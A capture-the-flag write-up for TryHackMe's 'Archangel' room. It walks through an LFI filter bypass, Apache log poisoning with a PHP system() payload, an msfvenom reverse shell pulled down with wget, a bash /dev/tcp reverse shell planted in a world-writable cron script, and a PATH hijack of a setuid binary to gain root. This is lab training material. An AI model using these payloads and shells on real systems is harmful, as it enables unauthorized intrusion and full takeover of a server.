Archangel - Write-up - TryHackMe

Information

Room#

  • Name: Archangel
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: Boot2root, Web exploitation, Privilege escalation, LFI

Archangel

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap ffuf metasploit

Network enumeration#

Port and service scan with nmap:

# Nmap 7.91 scan initiated Mon May 10 10:54:40 2021 as: nmap -sSVC -p- -oA nmap_full -v 10.10.67.93
Nmap scan report for 10.10.67.93
Host is up (0.070s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
|   256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_  256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 10 10:57:17 2021 -- 1 IP address (1 host up) scanned in 156.44 seconds

Web discovery#

On the web application, there is an email address using a different domain: support@mafialive.thm.

Let's add the new domain:

$ grep mafia /etc/hosts
10.10.67.93 archangel.thm mafialive.thm

By going at the new domain (http://mafialive.thm/) another vhost is served we have an UNDER DEVELOPMENT website instead of the company website.

Web enumeration#

Let's enumerate some pages:

$ ffuf -u http://mafialive.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
...
index.html              [Status: 200, Size: 59, Words: 2, Lines: 4]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10]
test.php                [Status: 200, Size: 286, Words: 38, Lines: 16]
robots.txt              [Status: 200, Size: 34, Words: 3, Lines: 3]
...

The test page was also listed from the robots.txt:

User-agent: *
Disallow: /test.php

Web exploitation: LFI#

The button on the test page is revealing this URL: http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php

It looks like we will have a file disclosure or an LFI. If we change the URL to http://mafialive.thm/test.php?view=/var/www/html/development_testing/test.php, it works but the content is not disclosed.

To be able to read the source code we can use a PHP wrapper filter, here we'll use the one that encode the content in base64: http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php

Refs. PayloadsAllTheThings - Wrapper php://filter

We get the following base64 string: PD9waHAgZWNobyAnQ29udHJvbCBpcyBhbiBpbGx1c2lvbic7ID8+Cg== that decodes to <?php echo 'Control is an illusion'; ?>\n. Let's try it on test.php.

<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>

    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

            //FLAG: thm{edited}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            if(isset($_GET["view"])){
            if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
                include $_GET['view'];
            }else{

                echo 'Sorry, Thats not allowed';
            }
        }
        ?>
    </div>
</body>

</html>

The code is checking that the path we provide contains /var/www/html/development_testing and does not include any ../.. to avoid path traversal. But it's bypassable.

One easy way to do that is to the neutral add ./ between each ../.. so it becomes .././.. that effectively bypass the filter. The full URL to read /etc/passwd would be:

http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/.././.././.././.././../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
archangel:x:1001:1001:Archangel,,,:/home/archangel:/bin/bash

Web exploitation: RCE#

Now we can try a LFI to RCE via log poisoning.

First check we can access Apache access logs: http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log

PS: We are not forced to use the base64 for text files, we only need it for PHP files. And we'ill need it off for the inclusion to work.

The log will contain the URL path and the User-Agent so we can poison the User-Agent.

$ curl http://mafialive.thm/ -A "<?php system(\$_GET['cmd']); ?>"

PS: The logs will escape double quotes so use single quotes for strings in the PHP payload, but since we use double quotes for the argument we'll have to escape the dollar symbol so it won't be interpreted by the shell.

The we can include the logs again and add &cmd=id to execute a command.

Note: at some point just reset the box, since you fuzzed in the previous steps the logs will be too long.

We can see the command result has replaced the PHP payload:

10.9.19.77 - - [10/May/2021:15:28:37 +0530] "GET /favicon.ico HTTP/1.1" 404 491 "http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log" "Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0"
10.9.19.77 - - [10/May/2021:15:28:44 +0530] "GET /favicon.ico HTTP/1.1" 404 491 "http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log" "Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0"
10.9.19.77 - - [10/May/2021:15:29:43 +0530] "GET / HTTP/1.1" 200 286 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)
"
10.9.19.77 - - [10/May/2021:15:29:47 +0530] "GET /test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log HTTP/1.1" 200 695 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0"
10.9.19.77 - - [10/May/2021:15:30:33 +0530] "GET /test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log&cmd=id HTTP/1.1" 200 727 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0"

Let's generate a PHP reverse shell:

$ msfvenom -p php/meterpreter_reverse_tcp LHOST=10.9.19.77 LPORT=9999 -f raw > agent.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 34277 bytes

The start a HTTP server to serve the file:

$ ruby -run -e httpd . -p 8888
[2021-05-10 12:06:29] INFO  WEBrick 1.7.0
[2021-05-10 12:06:29] INFO  ruby 3.0.1 (2021-04-05) [x86_64-linux]
[2021-05-10 12:06:29] INFO  WEBrick::HTTPServer#start: pid=55053 port=8888

Then we request the log file with cmd=wget http://10.9.19.77:8888/agent.php.

Start the MSF listener:

msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.9.19.77       yes       The listen address (an interface may be specified)
   LPORT  9999             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.9.19.77:9999

Finally, hitting the page http://mafialive.thm/agent.php triggers the reverse shell.

System enumeration#

The user flag is easy to find:

ls -lhA /home/archangel
total 36K
-rw-r--r-- 1 archangel archangel  220 Nov 18 00:48 .bash_logout
-rw-r--r-- 1 archangel archangel 3.7K Nov 18 00:48 .bashrc
drwx------ 2 archangel archangel 4.0K Nov 18 13:08 .cache
drwxrwxr-x 3 archangel archangel 4.0K Nov 18 11:20 .local
-rw-r--r-- 1 archangel archangel  807 Nov 18 00:48 .profile
-rw-rw-r-- 1 archangel archangel   66 Nov 18 11:20 .selected_editor
drwxr-xr-x 2 archangel archangel 4.0K Nov 18 01:36 myfiles
drwxrwx--- 2 archangel archangel 4.0K Nov 19 20:41 secret
-rw-r--r-- 1 archangel archangel   26 Nov 19 19:57 user.txt

cat /home/archangel/user.txt
thm{edietd}

We can't read /home/archangel/secret but we can read /home/archangel/myfiles:

ls -lhAR /home/archangel
/home/archangel:
total 36K
-rw-r--r-- 1 archangel archangel  220 Nov 18 00:48 .bash_logout
-rw-r--r-- 1 archangel archangel 3.7K Nov 18 00:48 .bashrc
drwx------ 2 archangel archangel 4.0K Nov 18 13:08 .cache
drwxrwxr-x 3 archangel archangel 4.0K Nov 18 11:20 .local
-rw-r--r-- 1 archangel archangel  807 Nov 18 00:48 .profile
-rw-rw-r-- 1 archangel archangel   66 Nov 18 11:20 .selected_editor
drwxr-xr-x 2 archangel archangel 4.0K Nov 18 01:36 myfiles
drwxrwx--- 2 archangel archangel 4.0K Nov 19 20:41 secret
-rw-r--r-- 1 archangel archangel   26 Nov 19 19:57 user.txt
ls: cannot open directory '/home/archangel/.cache': Permission denied

/home/archangel/.local:
total 4.0K
drwx------ 3 archangel archangel 4.0K Nov 18 11:20 share
ls: cannot open directory '/home/archangel/.local/share': Permission denied

/home/archangel/myfiles:
total 4.0K
-rw-r--r-- 1 root root 44 Nov 18 01:35 passwordbackup
ls: cannot open directory '/home/archangel/secret': Permission denied

Let's view this strange file:

cat /home/archangel/myfiles/passwordbackup
https://www.youtube.com/watch?v=dQw4w9WgXcQ

Ok this is just a troll.

Elevation of Privilege (EoP): from www-data to archangel#

There is a cronjob calling a custom script:

cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/1 *   * * *   archangel /opt/helloworld.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

The script is useless but it is world writable so we may overwrite it:

cat /opt/helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt

ls -lh /opt/helloworld.sh
-rwxrwxrwx 1 archangel archangel 66 Nov 20 10:35 /opt/helloworld.sh

echo 'bash -i >& /dev/tcp/10.9.19.77/8888 0>&1' >> /opt/helloworld.sh

Then we start a listener and wait for the incoming connection:

pwncat -lvv 8888
INFO: Listening on :::8888 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:8888 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.244.190:55584 (family 2/IPv4, TCP)
bash: cannot set terminal process group (1059): Inappropriate ioctl for device
bash: no job control in this shell
archangel@ubuntu:~$ id
uid=1001(archangel) gid=1001(archangel) groups=1001(archangel)

Elevation of Privilege (EoP): from archangel to root#

Now we are logged as archangel we can read the secret folder:

archangel@ubuntu:~$ ls -lh secret
total 24K
-rwsr-xr-x 1 root root 17K Nov 18 16:40 backup
-rw-r--r-- 1 root root  49 Nov 19 20:41 user2.txt

archangel@ubuntu:~$ cat secret/user2.txt
thm{edited}

archangel@ubuntu:~$ file secret/backup
secret/backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9093af828f30f957efce9020adc16dc214371d45, for GNU/Linux 3.2.0, not stripped

Let's try to see what the binary could do:

archangel@ubuntu:~$ strings secret/backup
strings secret/backup
/lib64/ld-linux-x86-64.so.2
setuid
system
...
cp /home/user/archangel/myfiles/* /opt/backupfiles
...

Seems there is a setuid so that archangel can write to /opt but the cp binary is called with a relative name instead of the absolute path so we can make it called a controlled one.

archangel@ubuntu:~$ TD=$(mktemp -d)
archangel@ubuntu:~$ echo '/bin/sh' > "$TD/cp"
archangel@ubuntu:~$ chmod a+x "$TD/cp"
archangel@ubuntu:~$ export PATH=$TD:$PATH
archangel@ubuntu:~$ secret/backup
id
uid=0(root) gid=0(root) groups=0(root),1001(archangel)
cat /root/root.txt
thm{edited}
Share